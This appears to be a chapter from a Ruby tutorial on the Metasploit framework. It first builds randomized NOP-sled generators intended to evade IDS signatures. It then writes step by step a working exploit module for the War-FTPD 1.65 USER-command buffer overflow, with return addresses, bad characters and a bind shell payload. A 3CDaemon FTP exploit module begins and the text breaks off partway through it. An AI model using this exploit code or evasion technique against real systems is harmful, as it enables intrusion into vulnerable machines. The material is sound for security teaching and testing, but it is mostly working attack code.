Shellcode x86 0x90 unicode NOOP	653
Shellcode x86 NOOP	1394
Shellcode x86 stealth NOOP	651
Shellcode x86 inc ebx NOOP	1390
Shellcode x86 0xEB0C NOOP	1424
Shellcode x86 0x71FB7BAB NOOP	2312
Shellcode x86 0x71FB7BAB NOOP Unicode	2313
Shellcode x86 0x90 NOOP unicode	2314

Snort NOP sled signatures

Since a nop instruction just has to be an instruction that does not alter the program or system state in any way, it is possible for us to analyze IDS signatures and create our own nop bytes that will not trigger the IDS alert.

The framework includes nops as modules so that we can create nop generators that are re-usable across exploits. Sometimes the exploit may require certain bytes not to be used in the buffer (for example 0x00) so the nop generator needs to take these into account. It also needs to know which registers it can manipulate safely without changing the program state. Let's analyze one of the nop generators in the framework.

You will have to run this code from the framework directory using the *'ruby –Ilib'* prefix so that it picks up the Metasploit library directory. Alternatively, you can start each program with the line

```
$:.unshift(File.join(File.dirname(__FILE__), 'lib'))
```

This will append the 'lib' directory from your present working directory to Ruby's library search path.

```
PROGRAM 1

   require 'msf/core'
   class Zzz
   SINGLE_BYTE_SLED =
           [
                   "\x90" , # nop
                   "\x97" , # xchg eax,edi
                   "\x96" , # xchg eax,esi
                   "\x95" , # xchg eax,ebp
                   "\x93" , # xchg eax,ebx
                   "\x92" , # xchg eax,edx
                   "\x91" , # xchg eax,ecx
                   "\x99" , # cdq
                   "\x4d" , # dec ebp
                   "\x48" , # dec eax
                   "\x47" , # inc edi
                   "\x4f" , # dec edi
                   "\x40" , # inc eax
                   "\x41" , # inc ecx
                   "\x37" , # aaa
                   "\x3f" , # aas
                   "\x27" , # daa
                   "\x2f" , # das
                   "\x46" , # inc esi
                   "\x4e" , # dec esi
                   "\xfc" , # cld
                   "\xfd" , # std
                   "\xf8" , # clc
                   "\xf9" , # stc
                   "\xf5" , # cmc
                   "\x98" , # cwde
                   "\x9f" , # lahf
                   "\x4a" , # dec edx
                   "\x44" , # inc esp
                   "\x42" , # inc edx
                   "\x43" , # inc ebx
```

```
                "\x49" , # dec ecx
                "\x4b" , # dec ebx
                "\x45" , # inc ebp
                "\x4c" , # dec esp
                "\x9b" , # wait
                "\x60" , # pusha
                "\x0e" , # push cs
                "\x1e" , # push ds
                "\x50" , # push eax
                "\x55" , # push ebp
                "\x53" , # push ebx
                "\x51" , # push ecx
                "\x57" , # push edi
                "\x52" , # push edx
                "\x06" , # push es
                "\x56" , # push esi
                "\x54" , # push esp
                "\x16" , # push ss
                "\x58" , # pop eax
                "\x5d" , # pop ebp
                "\x5b" , # pop ebx
                "\x59" , # pop ecx
                "\x5f" , # pop edi
                "\x5a" , # pop edx
                "\x5e" , # pop esi
                "\xd6" , # salc
        ]
   def generate_sled(length)
   out_sled     = ''
   1.upto(length) {
   i  = rand(SINGLE_BYTE_SLED.length)
   out_sled += SINGLE_BYTE_SLED[i]
   }
   return out_sled
   end
   end
   a = Zzz.new
   b = a.generate_sled(10)
   b.each_byte {|x| printf("%x ",x)}
   printf("\n")

OUTPUT
root@box:~/oldmetasploit# ruby -Ilib nop.rb
48 58 56 56 5e 3f f9 e 95 f9
root@box:~/oldmetasploit# ruby -Ilib nop.rb
48 2f 48 27 6 50 60 48 5a 49
root@box:~/oldmetasploit# ruby -Ilib nop.rb
50 99 53 99 43 93 f8 59 40 5a
```

We create a class *Zzz* which has a constant called SINGLE_BYTE_SLED that contains the opcodes of the 57 single bytes instructions. We then create an instance of class Zzz and call the method *generate_sled* specifying the length of the sledge as a parameter. We are returned a string containing the nop sledge which we display.

Note that all the strings have some randomness in them and it isn't easy to write a signature to detect them as they could be legitimate bytes.

The method *generate_sled* takes a parameter *length* which has a value of 10 in our case. We first set object *out_sled* to a empty string and then use *upto* to iterate a loop *length* times starting from 1 as we use 1.upto. The *rand* method returns a random number where the length of the array SINGLE_BYTE_SLED is used as the upper limit. We use this random number stored in *i* as an offset into the array and use the += operator to add a single string byte to the out_sled string. Thus when we leave the '*upto'* loop, our string is '*length'* bytes large.

PROGRAM 2

```
   def generate_sled(length,badchars)
   out_sled     = ''
   1.upto(length) {
   begin
   i  = rand(SINGLE_BYTE_SLED.length)
   ch = SINGLE_BYTE_SLED[i]
   end while (badchars.include?(ch))
   out_sled += ch
   }
   return out_sled
   end
   end
   a = Zzz.new
   b =
a.generate_sled(10,"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x
5b\x5c\x5d\x5e\x5f")
   b.each_byte {|x| printf("%x ",x)}
   printf("\n")
```

OUTPUT

```
f8 97 42 99 3f fc 43 1e 41 4f
f9 fc 48 fc 4e 4f 99 4a 93 4e
1e 4c f9 4a 44 4b 4b 37 49 16
```

We have added one more parameter to the generate sled method, bad chars thatcannot be present in the final string. To make checking simpler we have specifed that no char in the 0x5 range can be present. The output shows us very clearly that we have no char in the output sledge that starts with 5. We as before genearte a random number using the rand method and store this in i as before. We then read a byte from the array using i as the index and store this opcode in ch.

We then ask a simple question, is this char included in the list of bad chars. The badchars strings contains the list of bad chars and include? tells us whether the string contained the char. If we get a true, the while loops back to the begin and the whole process starts again. If the while returns falkse, the opcode chosen from the array is not a bad char and we quit out of the loop. The reason we need a loop is becuase we do not know how many times we will get a bad char.

a.rb

```
PROGRAM 2

   a = ['eax' , 'ebx']
   b = ['eax','ecx']
   c = ['ecx','edx']
   p a & b
   p a & c

OUTPUT
["eax"]
[]
```

The & takes two arrays and returns whatever is common between then. The a & b returns eax as this string is found in both arrays. a & c gives us empty array as there are no members common. The length of the first & will be greater than 0.

```
PROGRAM 3

   require 'msf/core'
   class Zzz
   SINGLE_BYTE_SLED =
           {
                   "\x90" => nil                , # nop
                   "\x97" => [ 'eax', 'edi'   ], # xchg eax,edi
                   "\x96" => [ 'eax', 'esi'   ], # xchg eax,esi
                   "\x95" => [ 'eax', 'ebp'   ], # xchg eax,ebp
                   "\x93" => [ 'eax', 'ebx'   ], # xchg eax,ebx
                   "\x92" => [ 'eax', 'edx'   ], # xchg eax,edx
                   "\x91" => [ 'eax', 'ecx'   ], # xchg eax,ecx
                   "\x99" => [ 'edx'          ], # cdq
                   "\x4d" => [ 'ebp'          ], # dec ebp
                   "\x48" => [ 'eax'          ], # dec eax
                   "\x47" => [ 'edi'          ], # inc edi
                   "\x4f" => [ 'edi'          ], # dec edi
                   "\x40" => [ 'eax'          ], # inc eax
                   "\x41" => [ 'ecx'          ], # inc ecx
                   "\x37" => [ 'eax'          ], # aaa
                   "\x3f" => [ 'eax'          ], # aas
                   "\x27" => [ 'eax'          ], # daa
                   "\x2f" => [ 'eax'          ], # das
                   "\x46" => [ 'esi'          ], # inc esi
                   "\x4e" => [ 'esi'          ], # dec esi
                   "\xfc" => nil                , # cld
                   "\xfd" => nil                , # std
                   "\xf8" => nil                , # clc
                   "\xf9" => nil                , # stc
                   "\xf5" => nil                , # cmc
                   "\x98" => [ 'eax'          ], # cwde
                   "\x9f" => [ 'eax'          ], # lahf
                   "\x4a" => [ 'edx'          ], # dec edx
                   "\x44" => [ 'esp', 'align' ], # inc esp
                   "\x42" => [ 'edx'          ], # inc edx
                   "\x43" => [ 'ebx'          ], # inc ebx
                   "\x49" => [ 'ecx'          ], # dec ecx
                   "\x4b" => [ 'ebx'          ], # dec ebx
                   "\x45" => [ 'ebp'          ], # inc ebp
                   "\x4c" => [ 'esp', 'align' ], # dec esp
                   "\x9b" => nil               , # wait
                   "\x60" => [ 'esp'          ], # pusha
                   "\x0e" => [ 'esp', 'align' ], # push cs
                   "\x1e" => [ 'esp', 'align' ], # push ds
                   "\x50" => [ 'esp'          ], # push eax
                   "\x55" => [ 'esp'          ], # push ebp
                   "\x53" => [ 'esp'          ], # push ebx
                   "\x51" => [ 'esp'          ], # push ecx
                   "\x57" => [ 'esp'          ], # push edi
                   "\x52" => [ 'esp'          ], # push edx
                   "\x06" => [ 'esp', 'align' ], # push es
                   "\x56" => [ 'esp'          ], # push esi
                   "\x54" => [ 'esp'          ], # push esp
                   "\x16" => [ 'esp', 'align' ], # push ss
                   "\x58" => [ 'esp', 'eax'   ], # pop eax
                   "\x5d" => [ 'esp', 'ebp'   ], # pop ebp
                   "\x5b" => [ 'esp', 'ebx'   ], # pop ebx
                   "\x59" => [ 'esp', 'ecx'   ], # pop ecx
                   "\x5f" => [ 'esp', 'edi'   ], # pop edi
                   "\x5a" => [ 'esp', 'edx'   ], # pop edx
                   "\x5e" => [ 'esp', 'esi'   ], # pop esi
                   "\xd6" => [ 'eax'          ], # salc
           }
   def generate_sled(length,badregs)
   out_sled     = ''
   1.upto(length) {
   begin
   i  = rand(SINGLE_BYTE_SLED.length)
   ch = SINGLE_BYTE_SLED.keys[i]
   #ch.each_byte  {|x|  printf("%x\n",x)}  if  (SINGLE_BYTE_SLED[ch]
and (SINGLE_BYTE_SLED[ch] & badregs).length > 0)
   end  while  (SINGLE_BYTE_SLED[ch]  and  (SINGLE_BYTE_SLED[ch]  &
badregs).length > 0)
   out_sled += ch
   }
   return out_sled
   end
   end
   a = Zzz.new
   b = a.generate_sled(10, ['esp' , 'eax'])
   b.each_byte {|x| printf("%x ",x)}
   printf("\n")
```

OUTPUT

```
f9 fd f5 4d 99 4e fd 99 4b 4d
90 46 fd fd 47 4a 45 9b 42 9b
9b 4d 4b 49 43 46 43 41 f8 47
f8 9b f9 f5 4f f8 99 4b f8 43
```

Now we have added one more twist to the nop sledge. At times we no not want a certain registered to be touched as its value need to be preserved. We have realized that ruby treats arrays and strings in a similiar way. We now pass an array of strings which contain the registers that need to be preserved. We now make SINGLE_BYTE_SLEDGE into a hash instead of an array. Thus the ket is the opcode and the value is an arary of strings that contain the registers that it uses. We as usual pick out a opcode from the hash as before in a begin end while loop.

We use a simple trick where badregs is the array which contains the banned registers and SINGLE_BYTE_SLED[ch] is the value of the opcode picked that contains the registers this opcode will change. We use the *& to give us an array of common elements. If this array has no common members or no banned registers the length will be 0. The other condition checks for cases like 0xfc which effects no registers and only registers like the flags registers. Thus we get out of the loop if the value of the opcode is nil or there is no match in the array badregs.

```
def generate_sled(length,badchars , badregs)
out_sled     = ''
1.upto(length) {
begin
i  = rand(SINGLE_BYTE_SLED.length)
ch = SINGLE_BYTE_SLED.keys[i]
end while ( badchars.include?(ch) or ( SINGLE_BYTE_SLED[ch] and (SINGLE_BYTE_SLED[ch] & badregs).length > 0))
out_sled += ch
}
return out_sled
end
end
a = Zzz.new
b = a.generate_sled(10,"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f", ['eax' , 'ebx' , 'ecx' , 'edx' , 'esi' , 'edi' , 'ebp' , 'esp'])
b.each_byte {|x| printf("%02x ",x)}
printf("\n")
```

```
f5 f9 f8 fd f5 f9 90 90 f9 f8
fd f8 90 fd 9b fd fc f8 fc 9b
```

This program combines the above two programs and takes bad chars as the second parameter and banned regsiters as the third. We simple add one more condition to the while, the opcode must not be a badchar as well as the value of the key or opcode must not contain a banned register. The logic works as follows, if any one of them fails the loop must continue. Thus if the opcode chosen is 55 then the include? will fail and hence the entire or will be false. Thus both conditions must be true or else the or will not be true.

Exploits

This chapter actually teaches us how to write an exploit in the ruby langugae and have the framework execute it. We first went to a site http://support.jgaa.com/index.php?cmd=DownloadVersion&ID=1
and downloaded a 1 MB file ward165.exe from a link
ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe
. This program installs a ftp server called War FTP that has a buffer overflow. We install this ftp server in a windows box and in a linux box we write the actual exploit. Finally the exploit that we write will be the same as warftpd_165_user.rb in folder /framework-3.0-alpha-r2/modules/exploits/windows/ftp.

We first run the program msfconsole which tells us that we have 68 exploits. Lets write one more exploit so that the framework thinks that it has 69 exploits. We move to folder framework-3.0-alpha-r2/modules/exploits/windows and use the word processor Kate to create a file called vijay.rb.

```
vijay.rb
PROGRAM 1


   p "In vijay.rb"

OUTPUT
```

In the file vijay.rb we simply write one line and then save the file and now run msfconsole.

```
root@box:~/framework-3.0-alpha-r2#. /msfconsole
"In vijay.rb"
```

The program msfconsole yet thinks that we have 68 exploits but actually executes all the code of the file vijay.rb. Thus any ruby code present in any file in the exploits folder gets executes by the msfconsole.

```
PROGRAM 2

   module Msf
   module Exploits
   module Windows
   class Vijay1  < Msf::Exploit::Remote
   end
   end
   end
   end

OUTPUT
```

The smallest exploit for the framework to recognize is to create a class by any name, in our case Vijay1 and derive it from the class Remote which is present in the class Exploit which in turn is in the module Msf. This class is present in the file exploit.rb in folder /framework-3.0-alpha-r2/lib/msf/core. Our class Vijay1 has to be in the module Msf::Exploits::Windows. When we run the msfconsole, the number of exploits jumps to 69 from 68.

PROGRAM 3

```
class Msf::Exploits::Windows::Vijay1  < Msf::Exploit::Remote
end
```

We have to place the class Vijay1 in a module which has the same names as the directory structure in which it is placed. The module name has to start with Msf and as we are in a folder exploits and then windows, we have to have these two names also. We do not have to use the module statements at all as the above program demonstrates. What we do need is to derive the class from Remote and follow the folder names.

PROGRAM 4

```
module Msf
class Exploits::Windows::Vijay  < Msf::Exploit::Remote
end
end
```

Finally a compromise. The code of the framework prefers us to use the module for the Msf and the rest of the name becomes part of the class definition. If you do not agree with this compromise you are free to follow your own path. The second change we have made is kept the name of the class the same as the name of the file. Each time we re run the msfconsole and we will show you a better way later.

PROGRAM 5

```
module Msf
class Exploits::Windows::Vijay  < Msf::Exploit::Remote
def initialize
p "In Vijay initialize"
end
end
end
```

OUTPUT

```
   use exploit/windows/vijay
   "In Vijay initialize"
   [-] The supplied module name is ambiguous: undefined method
`from_file' for                                  nil:NilClass.
```

As the name of our exploit is vijay we now use the use command to activate or use our exploit. We then write in msfconsole, use exploit/windows/vijay and our constructor gets called. But things go wrong and we also get an error. Thus the instance of the class Vijay is created only when we run the use command and we have to start the use command with exploit and not exploits. The good thing about the iis is that the framework has created an instance of our class vijay.

```
PROGRAM 6

   def initialize(info1 = {})
   p "In Vijay initialize info1=#{info1}"
   end

OUTPUT
   In Vijay initialize info1=
```

Now in the initialize method we expect that the framework may pass us a hash and if it does not the parameter info1 becomes an empty hash. From the output we realize that the info1 hash is empty. The error yet remains.

```
PROGRAM 7

   def initialize(info = {})
   p "In Vijay initialize info=#{info}"
   super(info)
   end

OUTPUT
   "In Vijay initialize info="
```

At last good news. All that we did was to use super to call the base class constructor. All this is what we taught you in the beginning. Always call the constructor of the base class. Now when we say info, we see a screen that has a blank for everything. Lets set things right.

```
PROGRAM 8

   def initialize(info = {})
   info = {'Name' => 'War-FTPD 1.65 Username Overflow'}
   super(info)
   end

OUTPUT
   msf      exploit(windows/ftp/warftpd_165_user)      >      use
exploit/windows/vijay
```

```
   msf exploit(windows/vijay) > info

          Name: War-FTPD 1.65 Username Overflow
       Version: 0
```

See how simple it is to get the info command to display the name of the module. All that we do is set the info hash where one member's key is Name and the value set to what we would like our name to be. We have copied whatever the war ftp exploit had as its name. We know all this because we have actually gone though the source code of the framework. Some day we will explain it to you.

```
PROGRAM 9

   def initialize(info = {})
   info1  =  update_info(info,{'Name'  =>  'War-FTPD  1.65  Username
Overflow'})
   p info
   p info1
   p info == info1
   super(info1)
   end

OUTPUT
   msf exploit(windows/vijay) > use exploit/windows/vijay
   {"Name"=>"War-FTPD 1.65 Username Overflow"}
   {"Name"=>"War-FTPD 1.65 Username Overflow"}
   true
```

We call a method update_info that is in a class called Module in file module.rb folder /framework-3.0-alpha-r2/lib/msf/core. The reason is why we are telling the file that contains the code is so that you can see what the method does. This method takes an hash as the first parameter and a series of key value pairs as the second and then updates the first hash with these values and also returns the same hash as info. This is why info == info1 returns true. The reason why we called the hash info is because the Metasploit code calls it info.

```
PROGRAM 10

   def initialize(info = {})
   super(update_info(info,
      {'Name' => 'War-FTPD 1.65 Username Overflow'}
   ))
   end
```

The right way to write code is to call the update_info method with the parameter info and the hash values and then call the super with this newly created hash. When we first looked at the above code we got confused, we thought so would you and hence we broke up the code.

```
PROGRAM 11

   def initialize(info = {})
   super(update_info(info,
      {
      'Name' => 'War-FTPD 1.65 Username Overflow',
      'Description'    => %q{
            This  module  exploits  a  buffer  overflow  found  in  the
USER command
            of War-FTPD 1.65.
      }
   }
   ))

OUTPUT
   Description:
       This module exploits a buffer overflow found in the USER
       command of War-FTPD 1.65.
```

We have added on more key value pair to the hash called Description. The %q is a short form done before. If you forgotten reread our ruby basics. Thus the super method is passed two parameters, one a empty hash and the second a hash with two name value pairs.

```
PROGRAM 12

   def initialize(info = {})
   super(update_info(info,
      {
      'Name' => 'War-FTPD 1.65 Username Overflow',
      'Description'    => %q{
                  This  module  exploits  a  buffer  overflow  found  in
the USER command
                  of War-FTPD 1.65.
                              },
      'Author'          => 'Fairuzan Roslan <riaf [at] mysec.org>',
      'License'         => GPL_LICENSE,
      'Version'         => '$Revision: 1.10 $',
      'References'      =>
                  [
                  [‘OSVDB’, '875'    ],
                  [‘MIL’, '75'       ],

['URL','http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html
'                       ],
                  ],
      }
   ))
   end

OUTPUT

       Name: War-FTPD 1.65 Username Overflow
       Version: $Revision: 1.10 $
   Provided by:
       Fairuzan Roslan  <riaf@mysec.org>

   Description:
       This module exploits a buffer overflow found in the USER
       command of War-FTPD 1.65.

   References:
       http://www.osvdb.org/875
       http://milw0rm.com/metasploit.php?id=75
       http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html
```

We have added 4 more name value pairs to our hash. The Author name becomes the provided by in the info command, the name License does not show up at all, the Version for some reason has $ signs at the beginning and at the end. The References name has a value whose data type is a array. This array in turn is made up of multiple arrays as members, in our case 3. Each array has two members, a name and a actual id or number telling us where we can get more information about this exploit. URL is a generic term which says that the member in the array following is a actual URL. OSVDB is the site osvdb.org and the number 875 is the description of the war ftp exploit. The code MIL is the site milw0rm.com and the number 75 is the id of the war exploit. This is how we pass an array of structures in ruby.

PROGRAM 13

```
   def initialize(info = {})
   super(update_info(info,
      {
      'Name' => 'War-FTPD 1.65 Username Overflow',
      'Description'    => %q{
           This  module  exploits  a  buffer  overflow  found  in  the
USER command
           of War-FTPD 1.65.
      },
      'Author'         => 'Fairuzan Roslan <riaf [at] mysec.org>',
      'License'        => GPL_LICENSE,
      'Version'        => '$Revision: 1.10 $',
      'References'     =>
           [
                [ 'OSVDB', '875'    ],
                [ 'MIL', '75'       ],
                [‘URL’,'http:
//lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
           ],
      'Payload'        =>
      {
           'Space'    => 424,
           'BadChars' => "\x00\x0a\x0d\x40",
           'StackAdjustment' => -3500,
           'Compat'   =>
```

```
          {
          'ConnectionType' => "-find"
          }
      },
   }
   ))
   end

OUTPUT
   Payload information:
       Space: 424
       Avoid: 4 characters
```

We have added one more name Payload whose data type is a hash. Whenever we want more than one value to be the value of a name we use a hash. The Space name of the Payload hash tells us how large the space we have for the payload. In this case it is 424 characters. The earlier names like Description we off no use to the framework other than static information. Names like Space tell the framework how large the payload can be. If the payload we choose later is larger than 424 characters, the framework will not choose the payload. The Name BadChars specify what characters the payload can not contain. Thus when our payload is being encoded, the above 4 chars or bytes 00, 0a, 0d and 40 will not be seen in the payload. The other two options we will explain a little later.

```
PROGRAM 14

   def initialize(info = {})
   super(update_info(info,
      {
      'Name' => 'War-FTPD 1.65 Username Overflow',
      'Description'    => %q{
           This module exploits a buffer overflow found in the
USER command
           of War-FTPD 1.65.
      },
      'Author'         => 'Fairuzan Roslan <riaf [at] mysec.org>',
      'License'        => GPL_LICENSE,
      'Version'        => '$Revision: 1.10 $',
      'References'     =>
           [
                [‘OSVDB’, '875'    ],
                [‘MIL’, '75'       ],
                [‘URL’,
'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
           ],
      'DefaultOptions' =>
           {
                     'EXITFUNC' => 'process'
           },
      'Payload'        =>
      {
           'Space'    => 424,
           'BadChars' => "\x00\x0a\x0d\x40",
           'StackAdjustment' => -3500,
           'Compat'   =>
           {
           'ConnectionType' => "-find"
           }
      },
      'Targets'        =>
      [
           [
                'Windows 2000 SP0-SP4 English',
                {
                     'Platform' => 'win',
                     'Ret'      => 0x750231e2 # ws2help.dll
                },
           ],
           [
                'Windows XP SP0-SP1 English',
                {
                     'Platform' => 'win',
                     'Ret'      => 0x71ab1d54 # push esp, ret
                }
           ],
           [
                'Windows XP SP2 English',
                {
                     'Platform' => 'win',
                     'Ret'      => 0x71ab9372 # push esp, ret
                }
           ]
      ]
   }
   ))
   end
```

OUTPUT

```
   Available targets:
       Id  Name
       --  ----
       0   Windows 2000 SP0-SP4 English
       1   Windows XP SP0-SP1 English
       2   Windows XP SP2 English
```

The Targets show us how flexible ruby is. The data type of Targets is a array. Each array member is another array and we have 3 such arrays. Each array contains two members only a string and a hash value. The string is the OS version name and the hash has two
name value pairs, Platform that takes the same value win for windows and Ret the memory location where the combination push the value of esp on the stack and the ret takes the value pointed to by esp and places it into eip. These memory locations are within the code of the dll ws2help.dll. Depending upon the value of the TARGET variable we set we can refer to the Ret option in our code.

```
PROGRAM 15

   msf exploit(windows/vijay) > exploit
   [-] Exploit failed: A payload has not been selected.

   msf exploit(windows/vijay) > set PAYLOAD windows/shell/bind_tcp
```

We then need to set the PAYLOAD option as the framework would need to call some code on the exploited machine. We use the set command to set the PAYLOAD variable to the windows/shell folder where the PAYLOAD called bind_tcp is placed.

```
PROGRAM 16

   msf exploit(windows/vijay) > exploit
   [-] Exploit failed: A target has not been selected.

   The TARGET variable decides what OS the target uses.

   set TARGET 0

   msf exploit(windows/vijay) > show options

   Module options:

      Name  Default  Required  Description
      ----  -------  --------  -----------


   Payload options:

      Name      Default  Required  Description
      ----      -------  --------  -----------
      EXITFUNC   seh       yes        Exit technique: seh, thread,
process
      LPORT     4444     yes       The local port
```

When we run the show options command we see that we have created no options at all. The PAYLOAD has created two options for us.

```
PROGRAM 17

   class Exploits::Windows::Vijay  < Msf::Exploit::Remote
     include Exploit::Remote::Ftp
   def initialize(info = {})
   super(update_info(info,

msf > use exploit/windows/vijay
msf exploit(windows/vijay) > show options

OUTPUT

   Module options:
      Name     Default                  Required  Description
      ----     -------                  --------  -----------
      PASS    metasploit@example.org   no        The password for
the specified         username
      Proxies                          no        proxy chain
      RHOST                            yes       The target
address
      RPORT    21                      yes       The target port
      SSL                              no        Use SSL
      USER     anonymous               no        The username to
authenticate as
```

The include requires the name of a module and brings in all the code present in that module for us. This is the concept of a mixin. The mixin also brings along for us options that we can set. The code of the module is in file ftp.rb in folder framework-3.0-alpha-r2/lib/msf/core/exploit. In the constructor we can see the four options being created with two of them having default values.

```
PROGRAM 18

   msf exploit(windows/vijay) > exploit
   [-] Exploit failed: The following options failed to validate:
RPORT, RHOST.
```

We now have to set two more values RPORT for the ftp port on the remote machine to 21 and RHOST the IP address of the remote machine. in our case it is 192.168.1.1. We also keep saving the options we write to the config file so that we do not have to keep specifying them over and over again.

```
PROGRAM 19

   msf exploit(windows/vijay) > exploit
   [*] Started bind handler
   [*] Exploit completed, no session was created.
```

When we now run the command exploit the above output is what we got.

```
PROGRAM 20
def exploit
p "In exploit"
end
end
end

OUTPUT
msf exploit(windows/vijay) > exploit
[*] Started bind handler
"In exploit"
[*] Exploit completed, no session was created.
```

All that we now did was create our own method called exploit and this method gets called when we call exploit in the msfconsole. It is here that we write code to actually do the exploit.

```
PROGRAM 21
def exploit
print_status("Trying target #{target.name}...")
printf("Ret is %x\n" , target.ret)
end

OUTPUT
msf exploit(windows/vijay) > exploit
[*] Started bind handler
[*] Trying target Windows 2000 SP0-SP4 English...
Ret is 750231e2
[*] Exploit completed, no session was created.
```

The difference between p, printf and print_status is that method print_status actually puts a * before displaying something. All the messages on the console should start with a *. Also as we chose a target of 0, the target attribute has two members ret and name that give us the value of the hash name and the first string the OS version. Change the target to 1 or 2 and see the values change.

```
PROGRAM 22
def exploit
print_status("Trying target #{target.name}...")
connect
end

OUTPUT
msf exploit(windows/vijay) > rexploit
[*] Started bind handler
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Connecting to FTP server 192.168.1.1:21...
[-] Exploit failed: The connection was refused by the remote host
(192.168.1.1:21).
```

No point in exiting out and then starting msfconsole again. From now on we simply use the rexploit command which relaods the exploit once again. We now run the method connect which is part of the FTP mixin. This command tries to connect to the ftp server running on our windows box and we forget to turn it on.

We create a new user called vijay and password vijay by choosing the first menu properties, security , edit user. We then click on properties and then start service to start the ftp server. We also start ethereal and set the interface to 192.168.1.1 so we can keep track of the bytes send by the framework.

```
PROGRAM 23
def exploit
```

```
print_status("Trying target #{target.name}...")
connect
end

OUTPUT
msf exploit(windows/vijay) > rexploit
[*] Started bind handler
[*] Trying target Windows 2000 SP0-SP4 English...
[*] Connecting to FTP server 192.168.1.1:21...
[*] Connected to target FTP server.
[*] Exploit completed, no session was created.
```

The connect method successfully connected to the ftp server. In ethereal we see one ftp protocol command which is the banner and the ftp server asking for a user name.

```
PROGRAM 24
def exploit
print_status("Trying target #{target.name}...")
#connect
payload.encoded.each_byte {|x| printf("%02x ",x) }
end
```

We ran the above program 5 times and each time the output seen was different. The attribute payload has a member encoded that is a string that contains the payload to be send across. We are dispalying the string as a sequence of hex bytes that will we send. Each time we are making sure that the payload conatins different bytes and there are no bad chars in them.

```
PROGRAM 25
def exploit
print_status("Trying target #{target.name}...")
#connect
make_nops(7).each_byte {|x| printf("%02x " , x)}
end

OUTPUT
msf exploit(windows/vijay) > rexploit
[*] Started bind handler
[*] Trying target Windows 2000 SP0-SP4 English...
b3 9b 1c b4 4b b6 90
[*] Exploit completed, no session was created.
msf exploit(windows/vijay) > rexploit
[*] Started bind handler
[*] Trying target Windows 2000 SP0-SP4 English...
f5 f6 d4 49 96 99 91
[*] Exploit completed, no session was created.
```

The method make_nops takes one parameter the size of the string to return. It then creates that many no op instructions. Earlier a noop was the ehx byte 90. Most firewalls and IDS's check for these no op sledges. The make_nop method make detection of no op sledgesmuch more diggicult by giving us a random set of bytes that at the end of the day do nothing. A little later we will show you how this method actually works.

```
PROGRAM 26
def exploit
print_status("Trying target #{target.name}...")
connect
send_cmd( ['USER', 'ABCD'] , false )
end
```

The send_cmd method takes two parameters an array and a bool value. This value has a default value of true which not only sends the command but also waits for a reply. By setting it to false we are not waiting for a reply. The array that we pass as the first parameter is converted into a string with the individual array members separated by a single space. Thus the command send over to the ftp server will be USER ABCD. Check it out in the network sniffer.

```
PROGRAM 27
def exploit
print_status("Trying target #{target.name}...")
connect
buf = make_nops(600) + payload.encoded
buf[485, 4]  = [ target.ret ].pack('V')
send_cmd( ['USER', buf] , false )
#handler
disconnect
end
```

Now for the actual exploit. We first create a no op sledge that is 600 bytes large and then add the encoded payload to this sledge. Thus the string we send over will have 600 bytes that do nothing and then the actual payload. The idea of having a no op sledge is that we do not have to pin point with accuracy where our payload starts. It lets us be inefficient with the placement of the payload. This payload is encoded with an encoder that we have not specified. We then change bytes 486-489 with an address of the push esp opcode on memory. The pack with convert the 4 bytes of the array into the little endian format. Done before. We then add the words USER and a space and then send these bytes over. We then disconnect from the ftp server and land up in a command shell. This is how simple it is to take a machine over.

The war ftp buffer overflow is a classic case of the programmer accepting data from the network and doing no bounds check. the USER and PASS command takes a user name and password which is placed into a buffer. We over flow this buffer as the programmer did no checks on the size of data received before he placed it into this buffer. We there fore send a large string that overflows the buffer and makes sure that at the end of the method eip now points to the noop sledge. After executing some part of the no op sledge, it wil finally execute our payload. This is how we get to be incharge. The last reference does not tell us anything more about the ftp exploit, its more on stack protection.

Most code in the framework uses the handler method which for the moment does nothing useful and returns no valid value. Whenever we create variables including an array in a method it gets created on the stack. The stack grows down in memory and when out method starts the prologue of the method pushes ebp on the satck. just before this is the value of what would get pushed into the eip register by the ret opcode. What we need to do is place the address of some instruction at this location on the satck so that we now execute code on the stack. Thus at location 0x750231e2 there is a push esp. We place this value at 485 butes from the start of the array in which the USER command goes. It is only by trial and error we can figure out that this memory location will go into eip. The method gets over, the value at 485 from the start of the array moves into eip, which makes sure that the code on our stack gets executed. This code is a series of nops followed by a actual payload. We can change the no op's sledge to 1000, 6000 is too much. Some small tinkering with the o op sledge is ok but too much may be a problem because we do not know what we are over writing.

If we go to memory location 0x750231e2 in a Windows 2000 box after loading ws2help.dll we will see the byte 54 which is the push esp opcode. Then there are a series of bytes likes adc and some pops followed by a ret. A no op sledge of 2000 also works. A larger number like 6000 does not. Keep experimenting to figure out the right size.

`3c daemon`

We will show you how to write the exploit in the file 3cdaemon_ftp_user.rb in the modules/exploits/windows/ftp folder. We call the exploit mukhi.rb and write the following code.

```
PROGRAM 28
module Msf
class Exploits::Windows::Ftp::Mukhi < Msf::Exploit::Remote
     def initialize(info = {})
          super(update_info(info,
               'Name'                => '3Com 3CDaemon 2.0 FTP
Username Overflow',
               'Description'    => %q{
                    This module exploits a vulnerability in the
3Com 3CDaemon
```

```
                     FTP service. This package is being
distributed from the 3Com
                     web  site  and  is  recommended  in  numerous
support documents.
                     This module uses the USER command to trigger
the overflow.

                },
                'Author'         => [ 'hdm' ],
                'License'        => GPL_LICENSE,
                'Version'        => '$Revision: 1.13 $',
                'References'     =>
                     [
                          [ 'OSVDB', '12810'],
                          [ 'OSVDB', '12811'],
                          [ 'BID', '12155'],
                          [                                    'URL',
'ftp://ftp.3com.com/pub/utilbin/win32/3cdv2r10.zip'],
                          [ 'MIL', '1'],
                     ],
                'Privileged'     => false,
                'Payload'        =>
                     {
                          'Space'    => 674,
                          'BadChars'                           =>
"\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e\x09",
                          'StackAdjustment' => -3500,
                          'Compat'   =>
                               {
                                    'ConnectionType' => "-find"
                               }
                     },
                'Targets'        =>
                     [
                          [
                               'Windows  2000  English',  #  Tested
OK - hdm 11/24/2005
                               {
                                    'Platform' => 'win',
                                    'Ret'       =>  0x75022ac4,  #
